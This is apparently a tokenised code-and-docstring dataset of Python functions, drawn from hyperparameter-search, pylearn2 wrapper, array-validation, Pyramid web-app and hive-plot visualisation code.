{"signature": "def fit_and_score_estimator(estimator, parameters, cv, X, y=None, scoring=None,<EOL>iid=True, n_jobs=<NUM_LIT:1>, verbose=<NUM_LIT:1>,<EOL>pre_dispatch='<STR_LIT>'):", "body": "scorer = check_scoring(estimator, scoring=scoring)<EOL>n_samples = num_samples(X)<EOL>X, y = check_arrays(X, y, allow_lists=True, sparse_format='<STR_LIT>',<EOL>allow_nans=True)<EOL>if y is not None:<EOL><INDENT>if len(y) != n_samples:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (len(y), n_samples))<EOL><DEDENT><DEDENT>cv = check_cv(cv=cv, y=y, classifier=is_classifier(estimator))<EOL>out = Parallel(<EOL>n_jobs=n_jobs, verbose=verbose, pre_dispatch=pre_dispatch<EOL>)(<EOL>delayed(_fit_and_score)(clone(estimator), X, y, scorer,<EOL>train, test, verbose, parameters,<EOL>fit_params=None)<EOL>for train, test in cv.split(X, y))<EOL>assert len(out) == cv.n_splits<EOL>train_scores, test_scores = [], []<EOL>n_train_samples, n_test_samples = [], []<EOL>for test_score, n_test, train_score, n_train, _ in out:<EOL><INDENT>train_scores.append(train_score)<EOL>test_scores.append(test_score)<EOL>n_test_samples.append(n_test)<EOL>n_train_samples.append(n_train)<EOL><DEDENT>train_scores, test_scores = map(list, check_arrays(train_scores,<EOL>test_scores,<EOL>warn_nans=True,<EOL>replace_nans=True))<EOL>if iid:<EOL><INDENT>if verbose > <NUM_LIT:0> and is_msmbuilder_estimator(estimator):<EOL><INDENT>print('<STR_LIT>')<EOL>print('<STR_LIT>' % str(n_train_samples))<EOL>print('<STR_LIT>' % str(n_test_samples))<EOL><DEDENT>mean_test_score = np.average(test_scores, weights=n_test_samples)<EOL>mean_train_score = np.average(train_scores, weights=n_train_samples)<EOL><DEDENT>else:<EOL><INDENT>mean_test_score = np.average(test_scores)<EOL>mean_train_score = np.average(train_scores)<EOL><DEDENT>grid_scores = {<EOL>'<STR_LIT>': mean_test_score, '<STR_LIT>': test_scores,<EOL>'<STR_LIT>': mean_train_score, '<STR_LIT>': train_scores,<EOL>'<STR_LIT>': n_test_samples, '<STR_LIT>': n_train_samples}<EOL>return grid_scores<EOL>", "docstring": "Fit and score an estimator with cross-validation\n\n    This function is basically a copy of sklearn's\n    model_selection._BaseSearchCV._fit(), which is the core of the GridSearchCV\n    fit() method. Unfortunately, that class does _not_ return the training\n    set scores, which we want to save in the database, and because of the\n    way it's written, you can't change it by subclassing or monkeypatching.\n\n    This function uses some undocumented internal sklearn APIs (non-public).\n    It was written against sklearn version 0.16.1. Prior Versions are likely\n    to fail due to changes in the design of cross_validation module.\n\n    Returns\n    -------\n    out : dict, with keys 'mean_test_score' 'test_scores', 'train_scores'\n        The scores on the training and test sets, as well as the mean test set\n        score.", "id": "f4497:m0"}
{"signature": "def run_osprey(self, config):", "body": "fh, filename = tempfile.mkstemp(dir=self.temp_dir)<EOL>with open(filename, '<STR_LIT:wb>') as f:<EOL><INDENT>f.write(config)<EOL><DEDENT>args = Namespace(config=filename, n_iters=<NUM_LIT:1>, output='<STR_LIT>')<EOL>execute_worker.execute(args, None)<EOL>dump = json.loads(execute_dump.execute(args, None))<EOL>assert len(dump) == <NUM_LIT:1><EOL>assert dump[<NUM_LIT:0>]['<STR_LIT:status>'] == '<STR_LIT>', dump[<NUM_LIT:0>]['<STR_LIT:status>']<EOL>", "docstring": "Run osprey-worker.\n\nParameters\n----------\nconfig : str\n    Configuration string.", "id": "f4500:c0:m2"}
{"signature": "def _get_param_names(self):", "body": "template = Template(self.yaml_string)<EOL>names = ['<STR_LIT>']  <EOL>for match in re.finditer(template.pattern, template.template):<EOL><INDENT>name = match.group('<STR_LIT>') or match.group('<STR_LIT>')<EOL>assert name is not None<EOL>names.append(name)<EOL><DEDENT>return names<EOL>", "docstring": "Get mappable parameters from YAML.", "id": "f4501:c0:m1"}
{"signature": "def _get_dataset(self, X, y=None):", "body": "from pylearn2.datasets import DenseDesignMatrix<EOL>X = np.asarray(X)<EOL>assert X.ndim > <NUM_LIT:1><EOL>if y is not None:<EOL><INDENT>y = self._get_labels(y)<EOL><DEDENT>if X.ndim == <NUM_LIT:2>:<EOL><INDENT>return DenseDesignMatrix(X=X, y=y)<EOL><DEDENT>return DenseDesignMatrix(topo_view=X, y=y)<EOL>", "docstring": "Construct a pylearn2 dataset.\n\nParameters\n----------\nX : array_like\n    Training examples.\ny : array_like, optional\n    Labels.", "id": "f4501:c0:m2"}
{"signature": "def _get_labels(self, y):", "body": "y = np.asarray(y)<EOL>if y.ndim == <NUM_LIT:1>:<EOL><INDENT>return y.reshape((y.size, <NUM_LIT:1>))<EOL><DEDENT>assert y.ndim == <NUM_LIT:2><EOL>return y<EOL>", "docstring": "Construct pylearn2 dataset labels.\n\nParameters\n----------\ny : array_like, optional\n    Labels.", "id": "f4501:c0:m3"}
{"signature": "def fit(self, X, y=None):", "body": "from pylearn2.config import yaml_parse<EOL>from pylearn2.train import Train<EOL>params = self.get_params()<EOL>yaml_string = Template(self.yaml_string).substitute(params)<EOL>self.trainer = yaml_parse.load(yaml_string)<EOL>assert isinstance(self.trainer, Train)<EOL>if self.trainer.dataset is not None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.trainer.dataset = self._get_dataset(X, y)<EOL>if (hasattr(self.trainer.algorithm, '<STR_LIT>') and<EOL>self.trainer.algorithm.monitoring_dataset is not None):<EOL><INDENT>monitoring_dataset = self.trainer.algorithm.monitoring_dataset<EOL>if len(monitoring_dataset) == <NUM_LIT:1> and '<STR_LIT>' in monitoring_dataset:<EOL><INDENT>monitoring_dataset['<STR_LIT>'] = self.trainer.dataset<EOL><DEDENT>else:<EOL><INDENT>monitoring_dataset['<STR_LIT:train>'] = self.trainer.dataset<EOL><DEDENT>self.trainer.algorithm._set_monitoring_dataset(monitoring_dataset)<EOL><DEDENT>else:<EOL><INDENT>self.trainer.algorithm._set_monitoring_dataset(<EOL>self.trainer.dataset)<EOL><DEDENT>self.trainer.main_loop()<EOL>", "docstring": "Build a trainer and run main_loop.\n\nParameters\n----------\nX : array_like\n    Training examples.\ny : array_like, optional\n    Labels.", "id": "f4501:c0:m4"}
{"signature": "def predict(self, X):", "body": "return self._predict(X)<EOL>", "docstring": "Get model predictions.\n\nParameters\n----------\nX : array_like\n    Test dataset.", "id": "f4501:c0:m5"}
{"signature": "def _predict(self, X, method='<STR_LIT>'):", "body": "import theano<EOL>X_sym = self.trainer.model.get_input_space().make_theano_batch()<EOL>y_sym = getattr(self.trainer.model, method)(X_sym)<EOL>f = theano.function([X_sym], y_sym, allow_input_downcast=True)<EOL>return f(X)<EOL>", "docstring": "Get model predictions.\n\nSee pylearn2.scripts.mlp.predict_csv and\nhttp://fastml.com/how-to-get-predictions-from-pylearn2/.\n\nParameters\n----------\nX : array_like\n    Test dataset.\nmethod : str\n    Model method to call for prediction.", "id": "f4501:c0:m6"}
{"signature": "def score(self, X, y):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Score predictions.\n\nParameters\n----------\nX : array_like\n    Test examples.\ny : array_like, optional\n    Labels.", "id": "f4501:c0:m7"}
{"signature": "def _get_labels(self, y):", "body": "y = np.asarray(y)<EOL>assert y.ndim == <NUM_LIT:1><EOL>labels = np.unique(y).tolist()<EOL>oh = np.zeros((y.size, len(labels)), dtype=float)<EOL>for i, label in enumerate(y):<EOL><INDENT>oh[i, labels.index(label)] = <NUM_LIT:1.><EOL><DEDENT>return oh<EOL>", "docstring": "Construct pylearn2 dataset labels.\n\nParameters\n----------\ny : array_like, optional\n    Labels.", "id": "f4501:c1:m0"}
{"signature": "def predict_proba(self, X):", "body": "return self._predict(X)<EOL>", "docstring": "Get model predictions.\n\nParameters\n----------\nX : array_like\n    Test dataset.", "id": "f4501:c1:m1"}
{"signature": "def predict(self, X):", "body": "return np.argmax(self._predict(X), axis=<NUM_LIT:1>)<EOL>", "docstring": "Get model predictions.\n\nParameters\n----------\nX : array_like\n    Test dataset.", "id": "f4501:c1:m2"}
{"signature": "def score(self, X, y):", "body": "return accuracy_score(y, self.predict(X))<EOL>", "docstring": "Score predictions.\n\nParameters\n----------\nX : array_like\n    Test examples.\ny : array_like, optional\n    Labels.", "id": "f4501:c1:m3"}
{"signature": "def score(self, X, y):", "body": "return mean_squared_error(y, self.predict(X))<EOL>", "docstring": "Score predictions.\n\nParameters\n----------\nX : array_like\n    Test examples.\ny : array_like, optional\n    Labels.", "id": "f4501:c2:m0"}
{"signature": "def score(self, X, y):", "body": "return mean_squared_error(X, self.predict(X))<EOL>", "docstring": "Score predictions.\n\nParameters\n----------\nX : array_like\n    Test examples.\ny : array_like, optional\n    Labels (not used).", "id": "f4501:c3:m1"}
{"signature": "def load(self):", "body": "from pylearn2.config import yaml_parse<EOL>from pylearn2.datasets import Dataset<EOL>dataset = yaml_parse.load(self.yaml_string)<EOL>assert isinstance(dataset, Dataset)<EOL>data = dataset.iterator(mode='<STR_LIT>', num_batches=<NUM_LIT:1>,<EOL>data_specs=dataset.data_specs,<EOL>return_tuple=True).next()<EOL>if len(data) == <NUM_LIT:2>:<EOL><INDENT>X, y = data<EOL>y = np.squeeze(y)<EOL>if self.one_hot:<EOL><INDENT>y = np.argmax(y, axis=<NUM_LIT:1>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>X = data<EOL>y = None<EOL><DEDENT>return X, y<EOL>", "docstring": "Load the dataset using pylearn2.config.yaml_parse.", "id": "f4501:c4:m1"}
{"signature": "def is_json_serializable(obj):", "body": "try:<EOL><INDENT>json.dumps(obj)<EOL>return True<EOL><DEDENT>except TypeError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Checks to see if obj(ect) is Json serializable\n\nReturns\n-------\nBool", "id": "f4510:m0"}
{"signature": "def dict_merge(base, top):", "body": "out = dict(top)<EOL>for key in base:<EOL><INDENT>if key in top:<EOL><INDENT>if isinstance(base[key], dict) and isinstance(top[key], dict):<EOL><INDENT>out[key] = dict_merge(base[key], top[key])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>out[key] = base[key]<EOL><DEDENT><DEDENT>return out<EOL>", "docstring": "Recursively merge two dictionaries, with the elements from `top`\n    taking precedence over elements from `top`.\n\n    Returns\n    -------\n    out : dict\n        A new dict, containing the merged records.", "id": "f4510:m1"}
{"signature": "@contextlib.contextmanager<EOL>def in_directory(path):", "body": "curdir = os.path.abspath(os.curdir)<EOL>os.chdir(path)<EOL>yield<EOL>os.chdir(curdir)<EOL>", "docstring": "Context manager (with statement) that changes the current directory\n    during the context.", "id": "f4510:m2"}
{"signature": "@contextlib.contextmanager<EOL>def prepend_syspath(path):", "body": "sys.path.insert(<NUM_LIT:0>, path)<EOL>yield<EOL>sys.path.pop(<NUM_LIT:0>)<EOL>", "docstring": "Contect manager (with statement) that prepends path to sys.path", "id": "f4510:m3"}
{"signature": "def format_timedelta(td_object):", "body": "def get_total_seconds(td):<EOL><INDENT>return (td.microseconds +<EOL>(td.seconds + td.days * <NUM_LIT> * <NUM_LIT>) * <NUM_LIT>) / <NUM_LIT><EOL><DEDENT>seconds = int(get_total_seconds(td_object))<EOL>periods = [('<STR_LIT>',    <NUM_LIT>*<NUM_LIT>*<NUM_LIT>*<NUM_LIT>),<EOL>('<STR_LIT>',   <NUM_LIT>*<NUM_LIT>*<NUM_LIT>*<NUM_LIT:30>),<EOL>('<STR_LIT>',     <NUM_LIT>*<NUM_LIT>*<NUM_LIT>),<EOL>('<STR_LIT>',    <NUM_LIT>*<NUM_LIT>),<EOL>('<STR_LIT>',  <NUM_LIT>),<EOL>('<STR_LIT>',  <NUM_LIT:1>)]<EOL>strings = []<EOL>for period_name, period_seconds in periods:<EOL><INDENT>if seconds > period_seconds:<EOL><INDENT>period_value, seconds = divmod(seconds, period_seconds)<EOL>if period_value == <NUM_LIT:1>:<EOL><INDENT>strings.append(\"<STR_LIT>\" % (period_value, period_name))<EOL><DEDENT>else:<EOL><INDENT>strings.append(\"<STR_LIT>\" % (period_value, period_name))<EOL><DEDENT><DEDENT><DEDENT>return \"<STR_LIT:U+002CU+0020>\".join(strings)<EOL>", "docstring": "Format a timedelta object for display to users\n\n    Returns\n    -------\n    str", "id": "f4510:m4"}
{"signature": "def _squeeze_time(t):", "body": "if sys.platform.startswith('<STR_LIT>'):<EOL><INDENT>return max(<NUM_LIT:0>, t - <NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>return t<EOL><DEDENT>", "docstring": "Remove .1s to the time under Windows: this is the time it take to\n    stat files. This is needed to make results similar to timings under\n    Unix, for tests", "id": "f4510:m6"}
{"signature": "def _assert_all_finite(X):", "body": "X = np.asanyarray(X)<EOL>if (X.dtype.char in np.typecodes['<STR_LIT>'] and<EOL>not np.isfinite(X.sum()) and not np.isfinite(X).all()):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % X.dtype)<EOL><DEDENT>", "docstring": "Like assert_all_finite, but only for ndarray.", "id": "f4510:m12"}
{"signature": "def _warn_if_not_finite(X):", "body": "X = np.asanyarray(X)<EOL>if (X.dtype.char in np.typecodes['<STR_LIT>'] and<EOL>not np.isfinite(X.sum()) and not np.isfinite(X).all()):<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % X.dtype,<EOL>category=UserWarning)<EOL><DEDENT>", "docstring": "UserWarning if array contains non-finite elements", "id": "f4510:m13"}
{"signature": "def num_samples(x, is_nested=False):", "body": "if hasattr(x, '<STR_LIT>'):<EOL><INDENT>raise TypeError('<STR_LIT>'<EOL>'<STR_LIT>' % x)<EOL><DEDENT>if is_nested:<EOL><INDENT>return sum(num_samples(xx, is_nested=False) for xx in x)<EOL><DEDENT>if not hasattr(x, '<STR_LIT>') and not hasattr(x, '<STR_LIT>'):<EOL><INDENT>if hasattr(x, '<STR_LIT>'):<EOL><INDENT>x = np.asarray(x)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" %<EOL>type(x))<EOL><DEDENT><DEDENT>if hasattr(x, '<STR_LIT>'):<EOL><INDENT>if len(x.shape) == <NUM_LIT:0>:<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % x)<EOL><DEDENT>return x.shape[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return len(x)<EOL><DEDENT>", "docstring": "Return number of samples in array-like x.", "id": "f4510:m14"}
{"signature": "def check_arrays(*arrays, **options):", "body": "sparse_format = options.pop('<STR_LIT>', None)<EOL>if sparse_format not in (None, '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>raise ValueError('<STR_LIT>' % sparse_format)<EOL><DEDENT>copy = options.pop('<STR_LIT>', False)<EOL>check_ccontiguous = options.pop('<STR_LIT>', False)<EOL>dtype = options.pop('<STR_LIT>', None)<EOL>warn_nans = options.pop('<STR_LIT>', False)<EOL>replace_nans = options.pop('<STR_LIT>', False)<EOL>allow_lists = options.pop('<STR_LIT>', False)<EOL>allow_nans = options.pop('<STR_LIT>', False)<EOL>allow_nd = options.pop('<STR_LIT>', False)<EOL>if options:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % options.keys())<EOL><DEDENT>if len(arrays) == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>n_samples = num_samples(arrays[<NUM_LIT:0>])<EOL>checked_arrays = []<EOL>for array in arrays:<EOL><INDENT>array_orig = array<EOL>if array is None:<EOL><INDENT>checked_arrays.append(array)<EOL>continue<EOL><DEDENT>size = num_samples(array)<EOL>if size != n_samples:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>% (size, n_samples))<EOL><DEDENT>if not allow_lists or hasattr(array, \"<STR_LIT>\"):<EOL><INDENT>if sp.issparse(array):<EOL><INDENT>if sparse_format == '<STR_LIT>':<EOL><INDENT>array = array.tocsr()<EOL><DEDENT>elif sparse_format == '<STR_LIT>':<EOL><INDENT>array = array.tocsc()<EOL><DEDENT>elif sparse_format == '<STR_LIT>':<EOL><INDENT>raise TypeError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if check_ccontiguous:<EOL><INDENT>array.data = np.ascontiguousarray(array.data, dtype=dtype)<EOL><DEDENT>elif hasattr(array, '<STR_LIT:data>'):<EOL><INDENT>array.data = np.asarray(array.data, dtype=dtype)<EOL><DEDENT>elif array.dtype != dtype:<EOL><INDENT>array = array.astype(dtype)<EOL><DEDENT>if not allow_nans:<EOL><INDENT>if hasattr(array, '<STR_LIT:data>'):<EOL><INDENT>_assert_all_finite(array.data)<EOL><DEDENT>else:<EOL><INDENT>_assert_all_finite(array.values())<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if check_ccontiguous:<EOL><INDENT>array = np.ascontiguousarray(array, dtype=dtype)<EOL><DEDENT>else:<EOL><INDENT>array = np.asarray(array, dtype=dtype)<EOL><DEDENT>if warn_nans:<EOL><INDENT>allow_nans = True<EOL>_warn_if_not_finite(array)<EOL><DEDENT>if replace_nans:<EOL><INDENT>array = np.nan_to_num(array)<EOL><DEDENT>if not allow_nans:<EOL><INDENT>_assert_all_finite(array)<EOL><DEDENT><DEDENT>if not allow_nd and array.ndim >= <NUM_LIT:3>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" %<EOL>array.ndim)<EOL><DEDENT><DEDENT>if copy and array is array_orig:<EOL><INDENT>array = array.copy()<EOL><DEDENT>checked_arrays.append(array)<EOL><DEDENT>return checked_arrays<EOL>", "docstring": "Check that all arrays have consistent first dimensions.\n\n    Checks whether all objects in arrays have the same shape or length.\n    By default lists and tuples are converted to numpy arrays.\n\n    It is possible to enforce certain properties, such as dtype, continguity\n    and sparse matrix format (if a sparse matrix is passed).\n\n    Converting lists to arrays can be disabled by setting ``allow_lists=True``.\n    Lists can then contain arbitrary objects and are not checked for dtype,\n    finiteness or anything else but length. Arrays are still checked\n    and possibly converted.\n\n    Parameters\n    ----------\n    *arrays : sequence of arrays or scipy.sparse matrices with same shape[0]\n        Python lists or tuples occurring in arrays are converted to 1D numpy\n        arrays, unless allow_lists is specified.\n    sparse_format : 'csr', 'csc' or 'dense', None by default\n        If not None, any scipy.sparse matrix is converted to\n        Compressed Sparse Rows or Compressed Sparse Columns representations.\n        If 'dense', an error is raised when a sparse array is\n        passed.\n    copy : boolean, False by default\n        If copy is True, ensure that returned arrays are copies of the original\n        (if not already converted to another format earlier in the process).\n    check_ccontiguous : boolean, False by default\n        Check that the arrays are C contiguous\n    dtype : a numpy dtype instance, None by default\n        Enforce a specific dtype.\n    warn_nans : boolean, False by default\n        Prints warning if nans in the arrays\n        Disables allow_nans\n    replace_nans : boolean, False by default\n        Replace nans in the arrays with zeros\n    allow_lists : bool\n        Allow lists of arbitrary objects as input, just check their length.\n        Disables\n    allow_nans : boolean, False by default\n        Allows nans in the arrays\n    allow_nd : boolean, False by default\n        Allows arrays of more than 2 dimensions.", "id": "f4510:m15"}
{"signature": "def add_jump(self, name, min, max, num, warp=None, var_type=float):", "body": "if not isinstance(var_type, type):<EOL><INDENT>if var_type == '<STR_LIT:int>':<EOL><INDENT>var_type = int<EOL><DEDENT>elif var_type == '<STR_LIT:float>':<EOL><INDENT>var_type = float<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % (var_type))<EOL><DEDENT><DEDENT>min, max = map(var_type, (min, max))<EOL>num = int(num)<EOL>if not warp:<EOL><INDENT>choices = np.linspace(min, max, num=num, dtype=var_type)<EOL><DEDENT>elif (min >= <NUM_LIT:0>) and warp == '<STR_LIT>':<EOL><INDENT>choices = np.logspace(np.log10(min), np.log10(max), num=num,<EOL>dtype=var_type)<EOL><DEDENT>elif (min <= <NUM_LIT:0>)and warp == '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % (name, warp))<EOL><DEDENT>self.variables[name] = EnumVariable(name, choices.tolist())<EOL>", "docstring": "An integer/float-valued enumerable with `num` items, bounded\n        between [`min`, `max`]. Note that the right endpoint of the interval\n        includes `max`. This is a wrapper around the add_enum. `jump` can be\n        a float or int.", "id": "f4515:c0:m2"}
{"signature": "def add_int(self, name, min, max, warp=None):", "body": "min, max = map(int, (min, max))<EOL>if max < min:<EOL><INDENT>raise ValueError('<STR_LIT>' % name)<EOL><DEDENT>if warp not in (None, '<STR_LIT>'):<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % (name, warp))<EOL><DEDENT>if min <= <NUM_LIT:0> and warp == '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.variables[name] = IntVariable(name, min, max, warp)<EOL>", "docstring": "An integer-valued dimension bounded between `min` <= x <= `max`.\n        Note that the right endpoint of the interval includes `max`.\n\n        When `warp` is None, the base measure associated with this dimension\n        is a categorical distribution with each weight on each of the integers\n        in [min, max]. With `warp == 'log'`, the base measure is a uniform\n        distribution on the log of the variable, with bounds at `log(min)` and\n        `log(max)`. This is appropriate for variables that are \"naturally\" in\n        log-space. Other `warp` functions are not supported (yet), but may be\n        at a later time. Please note that this functionality is not supported\n        for `hyperopt_tpe`.", "id": "f4515:c0:m3"}
{"signature": "def add_float(self, name, min, max, warp=None):", "body": "min, max = map(float, (min, max))<EOL>if not min < max:<EOL><INDENT>raise ValueError('<STR_LIT>' % name)<EOL><DEDENT>if warp not in (None, '<STR_LIT>'):<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % (name, warp))<EOL><DEDENT>if min <= <NUM_LIT:0> and warp == '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.variables[name] = FloatVariable(name, min, max, warp)<EOL>", "docstring": "A floating point-valued dimension bounded `min` <= x < `max`\n\n        When `warp` is None, the base measure associated with this dimension\n        is a uniform distribution on [min, max). With `warp == 'log'`, the\n        base measure is a uniform distribution on the log of the variable,\n        with bounds at `log(min)` and `log(max)`. This is appropriate for\n        variables that are \"naturally\" in log-space. Other `warp` functions\n        are not supported (yet), but may be at a later time.", "id": "f4515:c0:m4"}
{"signature": "def add_enum(self, name, choices):", "body": "if not isinstance(choices, Iterable):<EOL><INDENT>raise ValueError('<STR_LIT>' % name)<EOL><DEDENT>self.variables[name] = EnumVariable(name, choices)<EOL>", "docstring": "An enumeration-valued dimension.\n\n        The base measure associated with this dimension is a categorical\n        distribution with equal weight on each element in `choices`.", "id": "f4515:c0:m5"}
{"signature": "def main(global_config, **settings):", "body": "set_cache_regions_from_settings(settings)<EOL>config = Configurator(settings=settings)<EOL>config.include('<STR_LIT>')<EOL>config.configure_celery(global_config['<STR_LIT>'])<EOL>return config.make_wsgi_app()<EOL>", "docstring": "This function returns a Pyramid WSGI application.", "id": "f4528:m0"}
{"signature": "def ga_context(context_func):", "body": "def decorator(func):<EOL><INDENT>@wraps(func)<EOL>def wrapper(self, *args, **kwargs):<EOL><INDENT>context = func(self, *args, **kwargs)<EOL>self.request.google_analytics.update(context_func(context))<EOL>return context<EOL><DEDENT>return wrapper<EOL><DEDENT>return decorator<EOL>", "docstring": "A decorator for Cornice views that allows one to set extra parameters\nfor Google Analytics tracking::\n    @ga_context(lambda context: {'dt': context['category'].title, })\n    @view_config(route_name='page')\n    def view(request):\n        return {\n            'category': self.workspace.S(Category).filter(title='foo')[0],\n        }\n:param func context_func:\n    A function which takes one argument, a context dictionary made\n    available to the template.\n:returns:\n    A dict containing the extra variables for Google Analytics\n    tracking.", "id": "f4534:m1"}
{"signature": "def get_pages(self, limit=<NUM_LIT:5>, order_by=('<STR_LIT>', '<STR_LIT>')):", "body": "return to_eg_objects(self.workspace.S(Page).filter(<EOL>language=self.locale).order_by(*order_by)[:limit])<EOL>", "docstring": "Return pages the GitModel knows about.\n:param int limit:\n    The number of pages to return, defaults to 5.\n:param tuple order_by:\n    The attributes to order on,\n    defaults to ('position', '-modified_at')", "id": "f4535:c0:m15"}
{"signature": "def get_featured_pages(<EOL>self, limit=<NUM_LIT:5>, order_by=('<STR_LIT>', '<STR_LIT>')):", "body": "return self._get_featured_pages(self.locale, limit, order_by)<EOL>", "docstring": "Return featured pages the GitModel knows about.\n:param str locale:\n    The locale string, like `eng_UK`.\n:param int limit:\n    The number of pages to return, defaults to 5.\n:param tuple order_by:\n    The attributes to order on,\n    defaults to ('position', '-modified_at').", "id": "f4535:c0:m17"}
{"signature": "def get_cartesian(r, theta):", "body": "x = r*np.sin(theta)<EOL>y = r*np.cos(theta)<EOL>return x, y<EOL>", "docstring": "Given a radius and theta, return the cartesian (x, y) coordinates.", "id": "f4539:m0"}
{"signature": "def correct_negative_angle(angle):", "body": "if angle < <NUM_LIT:0>:<EOL><INDENT>angle = <NUM_LIT:2> * np.pi + angle<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return angle<EOL>", "docstring": "Corrects a negative angle to a positive one.", "id": "f4539:m1"}
{"signature": "def simplified_edges(self):", "body": "for group, edgelist in self.edges.items():<EOL><INDENT>for u, v, d in edgelist:<EOL><INDENT>yield (u, v)<EOL><DEDENT><DEDENT>", "docstring": "A generator for getting all of the edges without consuming extra\nmemory.", "id": "f4539:c0:m1"}
{"signature": "def initialize_major_angle(self):", "body": "num_groups = len(self.nodes.keys())<EOL>self.major_angle = <NUM_LIT:2> * np.pi / num_groups<EOL>", "docstring": "Computes the major angle: 2pi radians / number of groups.", "id": "f4539:c0:m2"}
{"signature": "def initialize_minor_angle(self):", "body": "num_groups = len(self.nodes.keys())<EOL>self.minor_angle = <NUM_LIT:2> * np.pi / (<NUM_LIT:6> * num_groups)<EOL>", "docstring": "Computes the minor angle: 2pi radians / 3 * number of groups.", "id": "f4539:c0:m3"}
{"signature": "def set_minor_angle(self, angle):", "body": "assert angle < self.major_angle,\"<STR_LIT>\"<EOL>self.minor_angle = angle<EOL>", "docstring": "Sets the major angle of the hive plot. I have restricted this to be\nless than the major angle.", "id": "f4539:c0:m4"}
{"signature": "def plot_radius(self):", "body": "plot_rad = <NUM_LIT:0><EOL>for group, nodelist in self.nodes.items():<EOL><INDENT>proposed_radius = len(nodelist) * self.scale<EOL>if proposed_radius > plot_rad:<EOL><INDENT>plot_rad = proposed_radius<EOL><DEDENT><DEDENT>return plot_rad + self.internal_radius<EOL>", "docstring": "Computes the plot radius: maximum of length of each list of nodes.", "id": "f4539:c0:m5"}
{"signature": "def axis_length(self, group):", "body": "return len(self.nodes[group])<EOL>", "docstring": "Computes the length of the axis for a given group.", "id": "f4539:c0:m6"}
{"signature": "def has_edge_within_group(self, group):", "body": "assert group in self.nodes.keys(),\"<STR_LIT>\".format(group)<EOL>nodelist = self.nodes[group]<EOL>for n1, n2 in self.simplified_edges():<EOL><INDENT>if n1 in nodelist and n2 in nodelist:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>", "docstring": "Checks whether there are within-group edges or not.", "id": "f4539:c0:m7"}
{"signature": "def plot_axis(self, rs, theta):", "body": "xs, ys = get_cartesian(rs, theta)<EOL>self.ax.plot(xs, ys, '<STR_LIT>', alpha=<NUM_LIT>)<EOL>", "docstring": "Renders the axis.", "id": "f4539:c0:m8"}
{"signature": "def plot_nodes(self, nodelist, theta, group):", "body": "for i, node in enumerate(nodelist):<EOL><INDENT>r = self.internal_radius + i * self.scale<EOL>x, y = get_cartesian(r, theta)<EOL>circle = plt.Circle(xy=(x, y), radius=self.dot_radius,<EOL>color=self.node_colormap[group], linewidth=<NUM_LIT:0>)<EOL>self.ax.add_patch(circle)<EOL><DEDENT>", "docstring": "Plots nodes to screen.", "id": "f4539:c0:m9"}
{"signature": "def group_theta(self, group):", "body": "for i, g in enumerate(self.nodes.keys()):<EOL><INDENT>if g == group:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return i * self.major_angle<EOL>", "docstring": "Computes the theta along which a group's nodes are aligned.", "id": "f4539:c0:m10"}
{"signature": "def add_axes_and_nodes(self):", "body": "for i, (group, nodelist) in enumerate(self.nodes.items()):<EOL><INDENT>theta = self.group_theta(group)<EOL>if self.has_edge_within_group(group):<EOL><INDENT>theta = theta - self.minor_angle<EOL>self.plot_nodes(nodelist, theta, group)<EOL>theta = theta + <NUM_LIT:2> * self.minor_angle<EOL>self.plot_nodes(nodelist, theta, group)<EOL><DEDENT>else:<EOL><INDENT>self.plot_nodes(nodelist, theta, group)<EOL><DEDENT><DEDENT>", "docstring": "Adds the axes (i.e. 2 or 3 axes, not to be confused with matplotlib\naxes) and the nodes that belong to each axis.", "id": "f4539:c0:m11"}
{"signature": "def find_node_group_membership(self, node):", "body": "for group, nodelist in self.nodes.items():<EOL><INDENT>if node in nodelist:<EOL><INDENT>return group<EOL><DEDENT><DEDENT>", "docstring": "Identifies the group for which a node belongs to.", "id": "f4539:c0:m12"}
{"signature": "def get_idx(self, node):", "body": "group = self.find_node_group_membership(node)<EOL>return self.nodes[group].index(node)<EOL>", "docstring": "Finds the index of the node in the sorted list.", "id": "f4539:c0:m13"}
{"signature": "def node_radius(self, node):", "body": "return self.get_idx(node) * self.scale + self.internal_radius<EOL>", "docstring": "Computes the radial position of the node.", "id": "f4539:c0:m14"}
{"signature": "def node_theta(self, node):", "body": "group = self.find_node_group_membership(node)<EOL>return self.group_theta(group)<EOL>", "docstring": "Convenience function to find the node's theta angle.", "id": "f4539:c0:m15"}
